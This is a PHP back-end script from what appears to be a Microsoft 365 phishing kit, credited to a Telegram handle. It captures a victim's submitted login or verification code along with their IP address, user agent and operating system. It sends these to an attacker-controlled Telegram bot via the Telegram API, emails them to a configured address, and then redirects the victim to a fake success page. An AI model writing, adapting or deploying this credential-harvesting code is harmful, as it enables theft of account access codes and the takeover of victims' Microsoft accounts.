<?php
session_start();
error_reporting(0);
# Adding Settings
include(dirname(__DIR__) . '/session/function.php');
include(dirname(__DIR__) . '/config.php');
# User Agent 

$useragent = $_SERVER['HTTP_USER_AGENT'];
##

// Define commonly used environment details (ensure availability)
$IP = $_SERVER['REMOTE_ADDR'];
$date = date('H:i:s d/m/Y');
$ua = $_SERVER['HTTP_USER_AGENT'];
// Note: $os may be provided by included session/function.php; don't override
##

$msgtg = "BY : https://t.me/Blinkz455\n\n\n❤️== COMPLETE Microsoft 365 LOGIN [".$IP."] ==❤️\n\n\n\n👤Code :  ".($_POST["code"] ?? "")."\n\n\n=========[ DEVICE INFO ]=========\n\nIP : \nhttp://www.geoiptool.com/?IP=".$IP."\n\nDate : ".date('H:i:s d/m/Y')."\n\nUSER AGENT : ".$_SERVER['HTTP_USER_AGENT']."\n\nOS / BR : ".getOS($_SERVER['HTTP_USER_AGENT'])."\n";

if ($settings['telegram'] == "1"){
  $data = $msgtg;
  $send = ['chat_id'=>$settings['chat_id'],'text'=>$data];
  $website = "https://api.telegram.org/bot{$settings['bot_url']}";
  $ch = curl_init($website . '/sendMessage');
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  $result = curl_exec($ch);
  curl_close($ch);
}

# Send Mail

if ($settings['send_mail'] == "1"){
    $to = $settings['email'];
    $headers = "Content-type:text/plain;charset=UTF-8\r\n";
    $headers .= "From: Holaide <olaideadebowale241@may.com\r\n";
    $subject = "✦ OFFICE 365 LOGIN FROM ✦ {$IP} ✦";
    $msg = $msgtg;
    mail($to, $subject, $msg, $headers);
  }

header('Location: ../success.html');
?>